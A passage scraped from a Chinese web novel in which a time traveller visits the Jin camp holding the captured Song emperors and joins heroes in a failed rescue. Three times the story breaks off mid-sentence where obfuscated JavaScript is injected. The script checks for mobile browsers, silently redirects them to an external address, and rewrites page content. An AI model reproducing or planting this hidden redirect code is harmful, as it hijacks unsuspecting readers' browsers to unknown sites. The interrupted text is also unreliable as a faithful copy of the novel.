“日子还说得过去,比在大宋的管制下强不少,最起码能吃饱饭啦。”老人感到他说得有些道理。 刘庆东主意已定,“我去找木杆,你就别管了。” 他刚要去林子里,却被老人叫住啦,“这是立砖砌的,刚砌起来没几天,中间的泥还没干透呢。官爷,看你提溜的大锤力气一定不小,使劲一推就倒啦。” “这帮畜牲,没有一点儿人性。用立砖即省钱又省时,能早点儿把门封死,省得天天送饭麻烦。”刘庆东让老人躲开,用力向里面一推,墙只是忽闪了一下,他再用力忽闪几下,封门的砖墙猛然间轰然倒地。 待尘烟散尽,他见坟墓里面为砖券结构,穹庐墓顶,墓底约六、七平方米,呈圆状,墓内放置一只木床,高尺余,长约两米,宽度约一米。还有一只小木椅、粗碗、灯具、石枕之类物品。 他和男孩子将老人扶出来,找块青石板坐下,“老弟,你救我做什么?回去给孩子添麻烦,最后还得被送回来,官府和乡亲都不会答应的。” 这倒是提醒了刘庆东,这种陋习根深蒂固,不想点儿厉害法子不行啊,“虎啊,你扶爷爷回家,对你爸说,这是普风活佛的大徒弟木蝉子让的,你爷爷是佛前灯花转世,来保佑大金国国运永昌的,不许任何人将其饿死在山林,必须好生奉养,直至寿终正寝。听明白了吗?” 见孩子点头说知道了,又是一番感谢,并邀请他去家里做客。 “孩子,你家住王河边上?那里有座娘娘坟吧?” 对于刘庆东的询问,孩子摇摇头说没有啊,他忽闪着大眼睛想了想说,“军营南边的山沟里来了许多中原人,在那里搭起窝棚住了半个多月啦,听我父亲说是宋朝的皇帝,里面有娘娘和公主呢。” “是吗?”刘庆东立刻联想到被金人俘虏的宋徽宗、宋钦宗,还有和他们一起押送去上京的那些王公大臣,皇后嫔妃。 “我家虎儿不撒谎,李家人都是老实人。”爷爷为孙子证明道。 刘庆东忽然想起什么,“你们姓李,我倒是有个故事说给你们,你们想要报答我呢,就把它传扬出去,也算我们一起积一份功德吧。”于是,便把村长讲的外邦进贡大老鼠的故事讲给他们。 又让他们重述一遍,看完全记住了,这才放心,然后让爷孙俩回家去啦。 20. 赤膊上阵 “庚彩,庚彩。”有人从树林子走出来。 走在前面的白发老翁似个被孩子玩坏的皮人偶,说他是个侏儒吧,还高了那么一点儿,罗圈腿、水蛇腰,细长脖,脑袋像个大倭瓜,活脱脱从地里挖出来的小根蒜。再往他那张饼子脸上看,鲇鱼嘴、绿豆眼、肉杠子眉毛,咋还伤风感冒啦?鼻子上缠了条黑布,说起话来瓮声瓮气的。手里握着把小片刀,谁看了都不会认为是武器,这位乐呵呵地好像刚采完蘑菇回来。 跟在他后面的男人五十几岁,长得比他强上不是一星半点儿。这位穿着紧身的猎户衣裳,是个红脸膛,长得鼻直口阔,浓眉大眼,嘴巴周围长满胡须,看似有些日子没刮了。 似伤风的那位对貌似晚辈的说:“师叔,你看这大锤,这位英雄力大无比呀,唐朝的李元霸也不过如此吧?” 这可把刘庆东造愣了,这老人没有九十,也有八十了,一脑瓜子白毛,却向小自己三十几岁的人叫师叔。他转念一想,这也不稀奇,师门传承,也许他师爷收了个小徒弟,或者他拜了个年轻人当师父呗。 “你是哪个门派的?还是哪个山寨的?江湖绰号是啥呀?你师父是谁?快快报出来!”白头老翁发出一连串的问题。 刘庆东不知来人的底细,瞅他的穿戴不像是金人,在人家的地盘上还是小心为上。 “我是大金国普风活佛的大弟子木蝉子。你们是什么人?” “你少耐!你和那爷孙俩的对话老人家我听得清清楚楚,金贼都是些狼心狗肺之徒,他们哪有这般好心?这帮野人满嘴的土坷垃味,哪有你说得这么纯正啊?再说,你那两条护耳,哪个狐狸有这么长的尾巴?都垂到肚脐眼上啦。口口声声告诉人家是活佛的大弟子,你可真能糊弄人啊,我看你是演杂剧的伶人吧?” 没想到被人识破了,这两个是什么人?跑到林子里来做什么?不会是化了妆的金国探子吧? 老翁卡巴着小眼睛似看出了他的心思,“小子,你别担心,我们不是金国的探子,哪儿有我这大把年纪的探子呦。我也是汉人,从中原来的,你和我们一样来救皇上的吧?” “我不是,救什么皇上?”刘庆东矢口否认,他猜测面前的两个人是绿林好汉,也可能是宋高宗派来的。旋即他否认了后者,高宗赵构怎么会派人来呢?他最怕父亲、哥哥回去抢了他的皇位。 “装,你跟我装,”老翁撇着嘴笑他,“天下第一老剑客还能看走眼吗?别人都是拉帮结伙来的,你是技高人胆大,老哥一个深入虎穴呀。小子,你不能轻敌呀,押送皇帝的金国兵可不老少,武将个个能征惯战、武艺高强,不好对付啊。” 另一个汉子也如此说,“是呀,从开封出来到燕京,又北来的路上,有好几播营救皇上的人马都折了,没些真本领就是以卵击石呀。” “师叔说的对,俗话说‘一个篱笆三个桩,一个好汉三个帮嘛’。小子,你别单打独斗啦,跟着我们一起干,把两位皇上救回去。” 对于人家的邀请刘庆东还真不知道咋办啦,明明是办不成的,历史就是历史,没记载徽钦二帝被人救走啊,明显他们的计划不会成功。自己加入他们的结局只有一个,是飞蛾扑火九死一生。可不加入,科学家们都说存在平行世界,这两位英雄若真的得手,将会改变历史进程,极有可能改变了自己返回现代的生活。 于是,他点头同意入伙,说自己的确是演戏的伶人,从民族大义出发来救皇上的,担负起光复大宋的重任。 听到他同意了,老翁很是高兴,“小子,跟着你方爷爷不吃亏,咱们把皇帝爷俩救出来,是名垂千古的大功劳。”兴奋之后转而平静下来,跟刘庆东发起牢骚,“说心里话,我是不想来的,来救那两个昏君,可我这师叔是不依不饶,非得让我陪着他。姚言姚师叔是御猫展昭展师爷的徒弟,你听说过包相爷手下的展大侠吧?并且师叔还是赵佶亲封的常州太守,阳湖拳的传人,我会啥?只会三脚猫四门斗的功夫,到了金营全当挨打的货。” “书安,你是智多星啊,一般人比不了你。白眉大侠徐良是你的干老儿,江湖上谁不给你面子。我虽是国家命官,可没人买账,不找你陪我来,我还能找谁去?” 从他们的对话中得知,那个红脸膛是展大侠的徒弟,还是个朝廷高官呢。而这个高龄老人竟然是房书安,大头鬼。刘庆东是评书迷,对书中的这个人物再熟悉不过啦,油嘴滑舌,足智多谋,原本是坏人,江洋大盗,后来改邪归正啦。他是徐良的徒弟,徐良是陷空岛五义中穿山鼠徐庆的儿子,这样论起来,他正经应该管同伴叫师叔呢。哦,他那鼻子就是被徐良割了去的,要不怎么瓮声瓮气呢? 这番吹捧说得老翁眉开眼笑,挥舞着一尺四寸多长的小片刀,吆喝着这就去金国大营救人。刘庆东仔细端详着刀子,实在是太应付事儿啦,估摸还不到一斤重呢,送给厨房大师傅削土豆皮合适。 三个人互通了姓名,研究好下一步的计划,便结伴走出了山林。这方书安不亏是老江湖,还会番话呢,一路打听,直奔关押大宋宫人的山沟而去。 “嘿,嘿”,打前方传来打斗之声,他们加快脚步凑上去,躲在巨石后面伸长脖子偷看。嘿,三个光脊梁的汉子打得正酣,二打一的搏击此刻是势均力敌。他们身上都流着汗,表明相持有一会儿了。 “是□□打架吗?”刘庆东看到他们均纹着身。 独自一人的黑大个年近六旬,穿着棉布裤子,头戴象鼻盔,身材魁梧似座铁塔一般,在胸口上纹着张牙舞爪的黑熊,他左突右击使出的全是蛮力。 那两个一伙的却是灵活矫健,上蹿下跳招式变换,岁数大的四十出头,头圆耳大,鼻直口方,生得眉秀目疏,腰细膀阔,发黄的皮肤上刺满了豹纹;年轻些的三十几岁,个子不高,唇边留着小胡子,最打眼的是一身的精肉,白里透红,遍体纹着花绣,却似玉亭柱上铺着软翠。他俩都穿着皮裤,戴着皮帽子、皮袍子都在地上扔着。 “那两个是金国人。”姚太守下了结论,因为他听到那个豹纹的家伙说着异族话。 突然,黑大个似大力金刚抓住小个子的双臂,老鹰捉小鸡般让其动弹不得,他本想来个过肩摔,像提口袋一把举起来。可未料到,对方就势向地上一倒,用背着地,双腿蹬在大汉的小腹处,让硕大的身躯来了个空翻,仰面朝天重重地拍在地上。 黄皮肤的同伴跟上一步,骑在老人的身上,用钳子般的大手使劲儿掐住他的脖子,同时嘴里滴啦嘟噜地喊着,那语气那架势要置人于死地呀。 被摔得四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853054|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肢瘫软的老人已无还手之力,只会从喉咙里挤出两个字“蛮子”,虽然声音模糊不清,可未逃过运转员的耳朵。 “住手!放开他!”哪能眼见同胞遇害呀?刘庆东本能地冲了出去,提着大锤厉声怒喝道。 那两个占了上峰的家伙先是一愣,吃惊地瞅着大喊大叫的来人,然后猛得跳起来,抓起地上的衣服。小个子腿短跑不快,直接跳到同伙的背上,“来个锤王,杨林快跑”。 另一个家伙也喊了声“是个硬茬儿,小乙抓住喽”,说完便窜了出去,见他脚力非凡,跑起来似草上飞,转眼之间不见了踪影。 刘庆东将壮汉搀起来,查看他的伤势如何,没曾想那家伙说起外族话,他是一句也听不明白。看出他不懂金国话,那位转为生硬的汉语,“你不是大金国人,我们女直人没有这么长的护耳,你是汉人,是宋朝的奸细。” 啊!原来他是金国人,是自己搞反盆子啦,刚才那两个是金人?是部落内部起冲突啦。不对,他们最后说的是汉话,八成他们才是汉人呢。不容他多想,赶快找辙把事情圆过去,性命要紧啊。 “我是汉人,可不是奸细,是普风活佛的大徒弟木蝉子,师父从少林寺出师后收的我。”刘庆东把听到的进行加工。 “我看你像唱戏的伶人,这护耳太夸张了,是用什么的尾巴做的?都能当腰带使啦。” 刘庆东心里纳闷,我这护耳长吗?难道影视剧里的造型是艺术夸张啊?“我不会唱戏,净教金蝉子、银蝉子两位师弟功夫了,哪有工夫儿学那玩应啊?” 对方好像是信了,“粘罕那两个儿子我有些年没见了,最近一次还在我怀里撒尿呢,现在一定长成大小伙子啦。昨天我还问完颜宗弼呢,他说也好多年未见这两个堂侄啦。木蝉子,他俩可好啊?” 啥?金蝉子、银蝉子哥俩不是金兀术的儿子!是他的堂侄啊,这可真没想到,得亏没先说出他们的父亲,否则一定露馅啦。他应付着点头说很好,武功大有长进,而且力大惊人。 金国人笑着说,“我看你的力气就不小,这对大锤一般人拿不起来呀,刚才那两个南蛮子被它吓跑的。让我看看。”他伸手来取。 却被刘庆东用胳膊挡住,“英雄,我有洁癖,还是不要拿了吧?” 那人呵呵笑道:“小气,好吧,救命恩人跟我回军营去,我要好好谢谢你。若是没有你出手相救,今天我奥敦黑风必死无疑啦。” 他从地上拿起棉衣,穿好后拉着刘庆东就走,跟他说是出来打猎的,在追兔子的时候看到那两个人,形迹可疑,一个背着另一个,跑得比马都快,一看便知不是普通百姓。他纵马追来,仗着坐骑是千里良驹,终于赶上他们,没待盘问便动手了,不用说一定是宋国派来的奸细,极有可能是冲着两个皇帝来的,得抓紧时间赶回去报信。 “可惜我的马啊,被他们打死在前面啦,那个小矮子不好对付。”黑汉伤心地说,“哎,我的亲兵来了,这帮蠢才,蚂蚁都比他们爬得快。” 迎着他们跑来了一队兵士,穿着整齐同款的黑色军装,并没有影视剧里的皮毛帽子,而是戴着形如半个西瓜的铁盔,手里多持着狼牙棒、斧头和骨朵,那骨朵是种兵器,刘庆东曾经查过资料,知晓是类似长柄的独头铁锤。 21. 锁龙沟(上) 刘庆东跟着他们来到军营,这哪里是高墙壁垒的兀术城啊,用贫民窟来形容更贴切。到处是木板砖石搭建的简易平房,还有下沉式的地窨子。正值吃饭时间,金国士兵们在屋外支起铜瓮,点燃劈材,用棍子搅拌着食物,另外些人在火堆前烤着猪羊。 一路走来,遇到的人们都跟魁梧老人问好,毕恭毕敬地称他“黑风大王”。在一个大帐篷前老人站住脚,他看到有个年轻人在不住地喊着,指挥手下往里面搬运着箱子。 “宗宪!你把这些箱子放进帐篷里,你住哪儿呀?”老人关心地询问。 “是奥敦叔叔啊。”年轻人走过来向其行礼,这位穿着丝绸衣服,较其他人多些文雅之气,“我有一席之地足够了,瞅这天气要下雨啦,箱子里的书籍可不能淋湿了,它们可宝贵了呢。” 老人望望天点了点头,“这些是你从开封皇宫里收集来的吧?别人抢金银珠宝,抢女人,你倒好,抢了这一大推书籍。这些能有啥用?擦粑粑我都嫌它拉得慌。” “叔叔,这些可是有大用处呢,国家制度和礼乐应借鉴古代,根据时势制定适合的法则,而非简单沿袭辽国旧制,我们可要用这些书里的知识制定大金的法度。希尹大哥夸我立了大功,我要把它们完好无损地运到上京。” 老人向他介绍刘庆东,说是金蝉子、银蝉子的大师兄,又指着年轻人说,他是两个蝉子的亲二叔,完颜宗宪。待两个人亲近交谈后,又向年轻人打听道:“完颜希尹去哪里啦?早晨就没看到他。” “他一大早就去大庙了,找延参师父研讨金国大字去啦。” 听到晚辈的回答,老人露出满意的微笑,“希尹就是爱专研,为我们大金造文字首功一件啊。宗宪,你看见宗弼了吗?打昨天晚上就没看见他的人影,我有要紧事找他呢。” 年轻人尴尬地笑了笑,“他昨晚去锁龙沟啦,带着韩常几个人,有说有笑地走了。” 老人领会到什么,随口笑骂了一句,“又去找王氏了吧?我说他提议在此驻扎度过寒冬呢,要是回到上京狼多肉少,可没这般快活啦。王氏那只骚狐狸最会勾引人啦,又会作诗,又会唱小曲儿,模样也长得撩人。怎么地?我听人说她有个表姐很会写诗呀?” “确有其事,她表姐是易安居士,十六岁便出了名,写出昨夜雨疏风骤,浓睡不消残酒。试问卷帘人,却道海棠依旧。知否,知否?应是绿肥红瘦。” “什么绿肥红瘦?明明是拿酒,拿酒,应是白肥红瘦,听了我都饿了。宗宪,你先忙着,若是有放不下的,派人送到我的屋子里,我不会拿你的宝贝上茅房的。”说完他大笑,带着刘庆东回自己的住所了。 用过午饭后,刘庆东向大王提出要去锁龙沟看看,不知宋国皇帝长得啥模样。黑风大王满口答应,可自己有些喝多了酒,又加上一场搏斗伤了元气,要躺一会儿休息休息,便派个手下去隔壁宗弼的家里,把金兀术的儿子完颜亨喊来。 去不多时,带回来个孩子,五六岁的小男孩,长得聪明伶俐。 “完颜亮,你怎么来了?你堂哥亨儿呢?”老人慈爱地看着他。 孩子与黑风大王非常亲近,摆弄着桌子上的酒壶,“我亨哥去王河饮马啦,不在家。奥敦爷爷,你有啥事儿跟我说吧。” “你行啊?能带我的这汉人朋友去趟锁龙沟?他要瞅瞅那两个皇帝的长相。” 孩子抬头看了一眼刘庆东,“他是谁?我咋没见过呢?” “他是你真珠大哥、割韩奴哥哥的大师兄。” “哦,是普风活佛的大徒弟呀,完颜亮在此有礼了,失敬,失敬。”男孩子礼貌地向刘庆东行礼,“奥敦爷爷,我带他去,锁龙沟也不远,四叔和韩常姐夫昨天就去了,我把他送过去没问题。” 老人想了想便同意了,“好吧,你陪他前去,交到你四叔手里。还有,告诉他有人来抢那两个废物啦,叫他多加防备。”他又转向刘庆东介绍说,“这孩子是老大宗干的二小子,叫做完颜亮,别看年纪不大,可心眼蛮多的。” 刘庆东跟着孩子往南走,走不多远便来到个小山谷里,这里戒备森严,五步一岗,十步一哨,就是一只飞鸟也别想飞进来。这小孩子就是活的通行证,所经过的关卡一律放行。 “尊贵的客人,从宗翰堂伯那两个小子论,我应该叫你大哥;而你又是奥敦爷爷的好朋友,我也叫你爷爷。我可声明啊,我带你来是冲着爷爷,可不是因为你是什么人的大师兄啊。我烦那一家子,太得瑟啦,目中无人。” 刘庆东听出孩子与金蝉子全家有矛盾,“好,好,我谢谢小朋友啦。” 男孩子还在抱怨着,“同样是副元帅,我二叔宗望多好,对谁都客客气气的,唉,可惜他前几个月得伤寒去世了。我三叔宗辅也不错,从不打骂人。爷爷,你是汉人?汉人都是心怀鬼胎出尔反尔的小人,若不是你们的小皇帝写信劝诱耶律余睹,图谋复辟辽国,我四爷皇上也不会二次南征,灭了宋朝啊。” “四爷皇上?完颜阿骨打吗?”刘庆东不解地问。 “鞥,不是,我爷爷太祖已经驾崩了,如今的皇上是我四爷,完颜晟。” 刘庆东走进这片北宋皇族的聚居地,满眼是密密麻麻的地窨子,活像一座座排列在一起的坟墓。由行人踩出来的土路,弯弯曲曲,宽些的形成街,窄些的屈居为巷,街与巷交叉汇集,酷似盘绕在一起的蜈蚣。街上来往的人们神色慌张,低眉顺眼似丧家之犬,不敢大声喧哗,夹着尾巴恨不得躲到墙根耗子洞里藏起来。 小孩子指着一座窝棚的门口,以取笑的口吻对同伴说:“蹲着的绿头龟是宋国的御史中丞,是个榆木脑袋,在开封时不同意对我们割地求和,反对立张邦昌为大楚皇帝,要立赵氏宗亲。顽冥不灵,多亏他老婆被我四叔看上了,否则早用鞭子把他抽死啦。” 刘庆东刚想问他是谁,这是大宋忠贞之臣啊。却见有个高个子男人鬼鬼祟祟地走过去,拉起那人转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853055|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就走,不知道有啥重要的事要做。 男孩子走入窝棚找他四叔,没多久便出来了,说是四叔宗弼刚走,不在这里了。 “我带你直接去皇帝那儿吧,不远,就在前头,他俩住在一个窝棚里。”孩子给他引着路。 突然从路边的巷子里传出呼救声,是个女人在声嘶力竭地求救,时而掺杂着男人的怪笑。“有女人被欺负啦!”刘庆东马上意识到出了什么事儿,正义感驱使他义无反顾地奔了过去。 待他折返回来时,是三个人押着个衣衫不整的汉子,后面跟着位哭哭啼啼的女人,女人蓬头垢面,用手裹紧撕破的衣裙,顶着个大肚子,看那隆起的状况至少有五个月的身孕了。 “你们是什么人?敢擅闯锁龙沟禁地,快放了我,否则让你们不得好死。”被反剪双臂的家伙气急败坏地威胁道。 “欺负孕妇,你丧良心啊。”白发老翁用小片刀架在歹人的脖子上。 红脸的男子使劲儿掰着他的胳膊,“畜牲,你是人不是啊?不是刘大哥拦着,一刀砍死你。” “完颜亮!”刘庆东记得孩子的名字,“这个人说是叫韩常,他是你四叔的女婿吧?” 男孩子看到那人惊呆了,“姐夫,你咋干这事儿?让我金花姐知道了,你可就完啦。” 歹人瞬间便怂了,“小二,你可不能说出去呀,我昨晚喝多了酒,酒能乱性,才做出荒唐事来。再说,男人嘛,谁没犯过错误呀?玩玩嘛。可别告诉你姐,她那脾气你是知道的,姐夫求你了。”他是苦苦哀求着。 “姐夫,没想到你这么无耻,对谁不好,对个孕妇你也下得了手啊?”孩子气愤地指责他,“好吧,饶你一次,再有下次我绝不姑息。” 那家伙还不放心,扫视着其他三个人。 “你怕他们说出去呀?这位是普风活佛的大弟子,是奥敦爷爷的好朋友,这两位是?”孩子疑惑地看着刘庆东。 刘庆东赶紧说明,“他们是我师父的朋友,正要去上京打此经过,正好碰见这档子事儿。” “是活佛的朋友啊,一定武功高强了,我说一般人是进不来锁龙沟的。请前辈高抬贵手,放小人一马,我是鬼迷心窍做出不耻之事。”韩常又是鞠躬又是行礼。 在人家的地盘不易把事情搞大,便顺水推舟让他滚蛋了。然后问那女子的身份,原来是老皇帝的嫔妃,叫做阎宝瑟,被金人抓去怀了孕,这才被放回来。她还说被凌辱至死的姐妹不计其数,前几日就有一个被逼疯,杀死在猪圈里。 太惨了,这里是人间炼狱呀!刘庆东和那两个好汉听了义愤填膺。可那孩子却是无动于衷,似司空见惯了,他轻蔑地瞅着女子,“你们这些宋人啊,不值得可怜,本来与辽国签订了澶渊之盟,却背信弃义和我们大金暗结海上之盟。要信义没信义,要战力没战力,还恬不知耻要燕云十六州,被灭国也在情理之中。走吧,可怜的女人,去找你的老皇上吧,把孩子生出来,孩子是无辜的。” 22. 锁龙沟(下) 皇帝的窝棚自然要与众不同了,不但要比别人的大上几倍,如鹤立鸡群一般,而且位置要好,居于中心,被众星捧月簇拥包围着。 大窝棚的门口有金兵把守,四个手持狼牙棒的大汉威风凛凛,当看到小男孩时瞬间陪着笑脸,“国论勃极烈的小公子来啦!”他们献媚地打着招呼。 “看到我四叔了吗?” 士兵回答他,“万户没来过。” 刘庆东心想是不是听岔了,完颜宗弼也就是金兀术嘛,他不是金国的兵马大元帅吗?咋才是个万户呀?一个万户咋能灭了北宋,把两个窝囊皇上掠来呢? “这马车是谁的?这些箱子里装的啥呀?”完颜亮见门口停着辆青骢马拉的大车。 “小公子,这是货郎程忠的马车,他是给宋国皇帝送咸菜缸的,菜缸刚被两个伙计抬进去。”大个子士兵禀告道。 小孩子若有所思地瞅着箱子,“这大箱子可以装人啦,出出进进的要打开查看,别让人钻了空子。那些南蛮子真无聊,拼着命来救两个昏君,好没头脑,救回去有啥用?他俩只会整天的写写画画,做个歪诗,上茅房都得别人给他提裤子。”那四个人连声说是,从他们的眼神中可以看出轻蔑之情。那孩子让刘庆东他们自己进去,说是里面的气味难闻,酸臭酸臭的。 没曾想三个人刚进入屋子,便被人用刀子抵住了脖子,喝令不要喊叫,乖乖的饶儿不死。 “杨林,是他,帮着黑大个那家伙,我一刀结果了他。”一个长得雪白的中年人愤愤地说。 蹲在地上的男人回身阻止道:“小乙,我们是来救人的,何必滥杀无辜呢。杀人多罪孽重啊,我们一百零八个弟兄,杀来杀去就剩我们几个啦。嘿,这不是锤王吗?正好借他的大锤使使。” 刘庆东认出是在郊外与黑风大王打斗的两个人,黄脸的说着便来抢他的大锤。 “咦,咋这么轻?你这个是木头做的吗?”那家伙拿在手里惊奇地颠着。 “这是道具,用泡沫做的,别弄坏喽,我还得还给摄制组呢。” 人家并未理会他,“摄制组是什么人?你又是谁?” 刘庆东跟他解释摄制组不是一个人,是一组人,他是机缘巧合穿越过来的,来这里看皇上并无恶意。可对方是即不相信,又听不明白。 “燕青,杨林杨英雄,别跟他废话,快把铁链子砸开,抓紧时间,一会儿指不定又来人了。”说话的是个四十几岁的男人,他头戴毡帽,身穿青布衣,坐在铺着两块毛毡子的土炕上,抓着绑在脚腕子上的铁链子,迫不及待地低声催促着。 啥?燕青、杨林!眼前的两位是水泊梁山的英雄啊,刘庆东想起来了,在荒地里与奥敦打斗时,白脸的那招不就是兔子蹬鹰嘛。从名妓李师师那儿论起,他和宋徽宗还是一眼连桥呢。宋徽宗很喜欢他,赐予赦免令。他这次前来搭救,不会是李师师求他来的吧?而这位锦豹子杨林,之所以跑得快,是受戴宗的真传喽。 在他思考之际,那边的房书安说话了,“把刀子拿一边去,这手抖的,都给我的喉结刮痧啦。”他用手把身边的小伙子推开,“小民房书安,曾是开封府御前六品带刀护卫,给皇上磕头啦。”他双膝跪倒连磕了九个头。又将刘庆东引荐给皇上,说他不是金国人,是和他们一起的。 姚太守也跟着跪下磕头,“臣常州太守姚言参见皇上。” 这下子让土炕上的中年人大喜过望,“姚言,朕记得你,你是朕钦点的常州太守啊。你们都来啦,太好了,快快救驾。老十五赵?、贤婿刘文彦把刀子放下,你们先把这铁链子弄开。” 除了这几位一起上手,还有个同样用铁链子锁着的男子,一脸苦相帮着解锁。 “老大,桓儿,可算等到这一天啦。彻夜西风撼破扉,萧条孤馆一灯微。家山回首三千里,目断天南无雁飞。欸,窝在这个地窨子里度日如年啊,咱爷俩好比两只蟾蜍坐井观天,望眼欲穿啊。锁龙沟,锁龙沟,即使你们取了这个名字,我是真龙天子,也休想把朕锁住。” “这铁链子太硬了,用啥都砸不开呀。” 接着杨林的话,方书安也下了定论,“除非找来铁匠,用炉子把它熔开。” 正当他们一筹莫展之际,又走进来三个人,刘庆东认出其中的两位,他们正是刚才匆匆走开的两个人,其中一个是完颜亮所说的绿头龟。 “曹勋、秦桧,你们来的正好,我让蔡鞗找你们来有重要的事情。”炕上的宋徽宗赵佶招呼他们过来,“燕青他们来救我,我即将南归。小九构儿已经在应天府登基,改元建炎,我要去他那里重整河山。你们几个留下辅佐桓儿,有你们在我才能放心。你们且等我的好消息,战势有了好转便接你们回去。”老皇帝激动地叮嘱道。 那绿头龟是秦桧!他是秦桧?不可能吧。刘庆东不敢相信,他是历史上的大奸臣,卖国贼,投降派,咋可能是不屈服外虏的主战派呢?是什么改变了他的初心啦? “皇上,这铁链子太坚硬啦,是镔铁打造的吧?”姚太守有些气馁了。 宋徽宗急得满头大汗,有人建议再试试小皇帝的链子,被他当即制止了,“一样的材质,我的打不开,他的也别想啦。天绝我大宋啊!”他顿时老泪纵横地痛哭起来。 臣子们劝他不要难过,秦桧出着主意让他从长计议,先把两位皇帝的处境传递给九皇子,让他们想办法向金国要人。 老皇帝认为此言有理,便让众英雄送曹勋逃出去,阁门宣赞舍人曹勋身体强壮,会武艺,比这几个王子、驸马、大臣都有逃出去的胜算。他脱下自己的背心,喊那小伙子叫赵?的拿来毛笔,在背心上写下‘你快来援救父母。’又将这几个字出示给周围的臣子们看,群臣都悲泣不已。随后哭着叮咛曹勋,切记要转告康王赵构‘不要忘了我北行的痛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853056|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’,说着取出白纱手帕拭泪,尔后将手帕也交给曹勋说‘让康王深知我思念故国而哀痛泪下的情景’。 小皇帝宋钦宗也跟着哭,又担心周围戒备森严,曹勋他们如何能闯出去呢?这真是个难题,刘庆东知道外面是重重关卡,完颜亮不可能带着曹勋出去呀。 真是老天开眼啦,正在这时从外面跌跌撞撞跑进来两个宫女,“皇上,皇上,不好啦,皇后寻短见上吊自杀啦。”她们语无伦次地哭喊着。 看屋里的人们着急的程度,刘庆东断定是宋钦宗的媳妇,“卢袅袅、林玥姊,朱琏还有气吗?你们快去找太医施救啊!”话说出口他便沮丧了,哪里还有太医呀?这地方连个郎中都没有。 “陈货郎,你车上有药品吗?”老皇上倒是镇定,他期盼着有一线希望,可屋角里战战兢兢的货郎本就是被挟持来的,此刻更加的六神无主,说车上全是生活物件,根本没有装载药品。 “我去看看!”刘庆东自告奋勇前去施救。他不是一时冲动,在电厂里系统学习过急救知识呢。 不多时他便回来了,还带着那个男孩子完颜亮,对两个皇帝暗使眼色,“皇后已经醒过来了,可还没有脱离危险,请你们派个人,和我去客栈取些药丸,吃了它不出三天便可痊愈啦。否则,死了皇后,到上京也不好交代呀。”小男孩也跟着催促快去取药,说皇后身体虚弱得很,要是有个三长两短不是小事儿。 “让曹勋去!骑我的大青马,快去快回,耽误了病情以国法论处。”宋徽宗点名让臣子前去。 于是,完颜亮又给刘庆东和自己找来马匹,三个人策马加鞭向南面疾驰。走出来两个时辰,那孩子有些狐疑了,便问离客栈还有多远啊?刘庆东敷衍说就在前面。 “大哥,杀了他吧?”曹勋亮出腰间的匕首向同伴建议道。 刘庆东可下不去手,这孩子对自己蛮不错的,小小年纪说杀就杀啦?他还想等一等再决定。 可未料到,完颜亮看出他们的异样,大吼着挡住两个人的去路,“南蛮,你们骗我,是要逃走吗?快给我回去。” 既然如此,没什么好说的啦,刘庆东让曹勋先走,自己抡锤迎上去与其周璇,本以为个孩子吓唬跑了得啦,可人家年纪虽小,本事却不小,在马上腾挪跳跃如演杂技一般,一个不小心刘庆东被踹下马去,只感到强大的吸力左右着自己,眼瞧着身体急剧地上升,上升,在一条忽明忽暗的隧道里驰骋穿行。他紧紧抓住锤柄,这样惊心动魄地飞了一段,欻地从通道之中破雾而出,只感到眼前一亮,“啪”的一声落在实处。 这是椅子!他发现自己靠在皮椅里,两条腿搭在桌子上,他缓了一会儿情绪,这才意识到还在东厢房呢,再看房梁上静悄悄的,没有晃荡的大长腿,左看右看哪儿还有那两个女鬼啦?两柄道具大锤完好地放在桌脚旁。他心中打着恍惚,刚才是穿越啦,还是做了个梦啊? 23. 突发事件 从晨曦破晓,到天光大亮,也没等到摄影组的人来,刘庆东索性不等了,脱去戏服,锁好院门,步行回宾馆吃早餐。 餐厅里的人已经不少啦,在餐台前一个跟着一个井然有序,刘庆东从餐台下取了盘子和饭碗,隐隐约约觉得哪里有不尽人意的地方。 早餐吃得不多,他挑了几样顺口的,又夹了两个酸菜肉滋啦馅的包子,盛了碗小米粥,便转身去寻找座位。 “刘老弟,到这里坐。”是不远处的老法官招呼他,刘庆东走过去,与他并肩坐下,“刘老弟,太感谢啦,昨晚给我提供那么重要的线索,我去医院看司机小佟了,他把知道的都说了,我也没白去,给他留了些钱,得了那种病怪可怜的。” “到底是咋回事呀?” 